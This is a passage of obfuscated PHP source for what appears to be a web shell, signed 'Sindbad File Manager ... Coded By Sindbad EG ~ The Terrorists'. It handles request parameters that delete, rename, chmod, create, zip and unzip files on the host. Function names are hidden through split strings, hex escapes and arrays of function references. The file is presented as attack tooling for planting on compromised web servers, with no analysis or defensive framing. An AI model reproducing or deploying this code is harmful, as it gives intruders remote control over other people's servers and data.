if ($v9fzq($vcpk)) {
$rmdir = unlinkDir($vcpk);
$rmdir ? success() : failed();
} elseif ($y4sdg($vcpk)) {
$rmfile = $b1s7a($vcpk);
$rmfile ? success() : failed();
} else {
failed();
}
}
} elseif ($jv8s3 == "\x75\x6e\x7a\x69\x70") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($n4hxy($vcpk, $qkpl . "\x2f") === true) {
success();
} else {
failed();
}
}
} elseif ($jv8s3 == "\x7a\x69\x70") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($y4sdg($vcpk)) {
$r5kbm($vcpk, pathinfo($vcpk, PATHINFO_FILENAME) . ".zip");
}
}
}
}
if (isset($_POST['s'.'ubm'.'i'.'t'])) {
if (isset($_POST['cr'.'ea'.'te'.'_f'.'old'.'er']) && $_POST['cre'.'a'.'te'.'_fo'.'l'.'de'.'r']) { $q7hjp = $_POST['c'.'rea'.'te_'.'fol'.'d'.'er']; $s2f6x = $VANTAxas[12]; if (!file_exists($q7hjp)) { $z9mqa = @mkdir($q7hjp, 0755, true);} else { $z9mqa = true; } if ($z9mqa) { success(); } else { failed(); } } else if (isset($_POST['c'.'re'.'ate'.'_'.'fi'.'le']) && $_POST['cre'.'ate'.'_f'.'ile']) { $k4vhz = $_POST['cre'.'at'.'e_'.'fil'.'e']; $t2upm = $VANTAxas[13]; $x6wnr = $t2upm($k4vhz); if ($x6wnr) { success(); } else { failed(); } } else if (isset($_POST['r'.'ena'.'me'.'Fil'.'e']) && $_POST['ren'.'ame'.'F'.'il'.'e']) { $d9yxs = $_POST['r'.'en'.'am'.'e'.'Fi'.'le']; $h8rfg = $VANTAxas[15]; $m5qlp = $h8rfg(unx($_GET['r'.'e']), $d9yxs); if ($m5qlp) { success(); } else { failed(); } } else if (isset($_POST['ch'.'Fil'.'e']) && $_POST['c'.'h'.'Fil'.'e']) { $y4gsn = $_POST['chF'.'i'.'l'.'e']; $v3kzm = octdec($y4gsn); $p9wfu = $VANTAxas[30](unx($_GET['c'.'h']), $v3kzm); if ($p9wfu) { success(); } else { failed(); } }
}
if (isset($_GET['re'.'sp'.'ons'.'e']) && $_GET['res'.'pon'.'se'] == "success") {
echo "<script>
Swal.fire({
icon: 'success',
title: 'Success!',
text: 'Operation completed.',
background: '#15181e',
color: '#7effa7',
iconColor: '#7effa7',
timer: 1800,
showConfirmButton: false,
toast: true,
position: 'top-end',
customClass: { popup: 'vanta-swal-popup vanta-swal-success animate__animated animate__fadeInDown' }
});
</script>";
} else if (isset($_GET['re'.'s'.'p'.'o'.'nse']) && $_GET['re'.'s'.'po'.'nse'] == "failed") {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Error!',
text: 'Something went wrong.',
background: '#2a181d',
color: '#ff4a7a',
iconColor: '#ff4a7a',
timer: 2200,
showConfirmButton: false,
toast: true,
position: 'top-end',
customClass: { popup: 'vanta-swal-popup vanta-swal-error animate__animated animate__shakeX' }
});
</script>";
}
function success() {echo '<me'.'ta '.'h'.'tt'.'p-'.'e'.'qu'.'iv='.'"re'.'f'.'r'.'es'.'h'.'"'.' '.'c'.'ont'.'e'.'nt'.'="'.'0;'.'u'.'r'.'l'.'=?V'.'AN'.'TA'.'=' . vanta_PR1V($GLOBALS['V'.'AN'.'TA'.'x'.'a'.'s'][0]()) . '&r'.'es'.'po'.'ns'.'e=s'.'uc'.'ces'.'s">';}
function failed(){echo '<me'.'t'.'a'.' ht'.'t'.'p'.'-e'.'qu'.'iv='.'"r'.'efr'.'esh'.'"'.' '.'co'.'nt'.'e'.'n'.'t'.'="0'.';ur'.'l'.'='.'?VA'.'NT'.'A=' . vanta_PR1V($GLOBALS['V'.'AN'.'T'.'Axa'.'s'][0]()) . '&re'.'sp'.'ons'.'e='.'fai'.'le'.'d'.'">';}
function vantaFormat($bytes) {$types = array('<sp'.'an'.' c'.'la'.'s'.'s'.'="'.'f'.'il'.'e'.'-'.'s'.'iz'.'e"'.'>'.'B'.'</s'.'pa'.'n'.'>', '<'.'s'.'p'.'an'.' c'.'l'.'a'.'ss='.'"fi'.'l'.'e'.'-si'.'ze"'.'>K'.'B<'.'/sp'.'a'.'n'.'>', '<s'.'pa'.'n c'.'las'.'s='.'"fi'.'le-'.'siz'.'e">'.'MB'.'</s'.'pa'.'n>', '<s'.'pan'.' '.'cla'.'s'.'s='.'"f'.'i'.'le-'.'siz'.'e">'.'GB'.'<'.'/sp'.'an'.'>', '<sp'.'an'.' '.'c'.'la'.'s'.'s'.'='.'"'.'fi'.'le-'.'siz'.'e'.'">T'.'B<'.'/s'.'p'.'an>'); for ($i = 0; $bytes >= 1024 && $i< (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . " " . $types[$i]);}
function vanta_PR1V($n){ $y = ''; for ($i = 0; $i< strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y;}
function unx($y){ $n = ''; for ($i = 0; $i< strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n;}
function compressToZip($sourceFile, $zipFilename){ $zip = new ZipArchive(); if ($zip->open($zipFilename, ZipArchive::CREATE) === TRUE) { $zip->addFile($sourceFile, basename($sourceFile)); $zip->close(); success(); } else { failed(); } }
function r3mvx($val) { $tex = str_replace("/", "", $val); $tex1 = str_replace(":", "", $tex); $tex2 = str_replace("_", "", $tex1); $tex3 = str_replace(" ", "", $tex2); $tex4 = str_replace(".", "", $tex3); return $tex4; }
function unlinkDir($dir) { $d1Xe = array($dir); $files = array(); for ($i = 0;; $i++) { if (isset($d1Xe[$i])) $dir = $d1Xe[$i]; else break; if ($opn = @opendir($dir)) { while ($rd = @readdir($opn)) { if ($rd != "\x2e" && $rd != "\x2e\x2e") { $pth = $dir . "\x2f" . $rd; if ($GLOBALS['V'.'A'.'NT'.'Ax'.'a'.'s'][2]($pth)) { $d1Xe[] = $pth; } else { $files[] = $pth; } } } closedir($opn); } } foreach ($files as $file) { if (!@$GLOBALS['VA'.'NTA'.'xas'][24]($file)) { return false; } } $d1Xe = array_reverse($d1Xe); foreach ($d1Xe as $d1x2) { if (!@$GLOBALS['V'.'ANT'.'A'.'xas'][25]($d1x2)) { return false; } } return true; }
function prvFx1($value) { $n4mX = $value; $ext3F = pathinfo($value, PATHINFO_EXTENSION); if (strlen($n4mX) > 30) { return substr($n4mX, 0, 30) . "\x2e\x2e\x2e"; } else { return $value; } }
function xtr4cVANTA($VANTAarch, $VANTAaext) { $zip = new ZipArchive(); $methOpen = chDxzZ('111'.','.'1'.'12'.',10'.'1,1'.'10'); $methExtract = chDxXZ('6'.'57'.'8'.'7'.'47'.'261'.'637'.'454'.'6'.'f'); $methClose = chDxzZ([99,108,111,115,101]); if ($zip->$methOpen($VANTAarch) === TRUE) { $zip->$methExtract($VANTAaext); $zip->$methClose(); return true; } else { return false; } }
function p3rms($file){$p3rxa=$GLOBALS['VA'.'NT'.'Axa'.'s'][6]($file);if(($p3rxa&0xC000)==0xC000){$info='s';}elseif(($p3rxa&0xA000)==0xA000){$info='l';}elseif(($p3rxa&0x8000)==0x8000){$info='-';}elseif(($p3rxa&0x6000)==0x6000){$info='b';}elseif(($p3rxa&0x4000)==0x4000){$info='d';}elseif(($p3rxa&0x2000)==0x2000){$info='c';}elseif(($p3rxa&0x1000)==0x1000){$info='p';}else{$info='u';}$info.=(($p3rxa&0x0100)?'r':'-');$info.=(($p3rxa&0x0080)?'w':'-');$info.=(($p3rxa&0x0040)?(($p3rxa&0x0800)?'s':'x'):(($p3rxa&0x0800)?'S':'-'));$info.=(($p3rxa&0x0020)?'r':'-');$info.=(($p3rxa&0x0010)?'w':'-');$info.=(($p3rxa&0x0008)?(($p3rxa&0x0400)?'s':'x'):(($p3rxa&0x0400)?'S':'-'));$info.=(($p3rxa&0x0004)?'r':'-');$info.=(($p3rxa&0x0002)?'w':'-');$info.=(($p3rxa&0x0001)?(($p3rxa&0x0200)?'t':'x'):(($p3rxa&0x0200)?'T':'-'));return $info;}
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists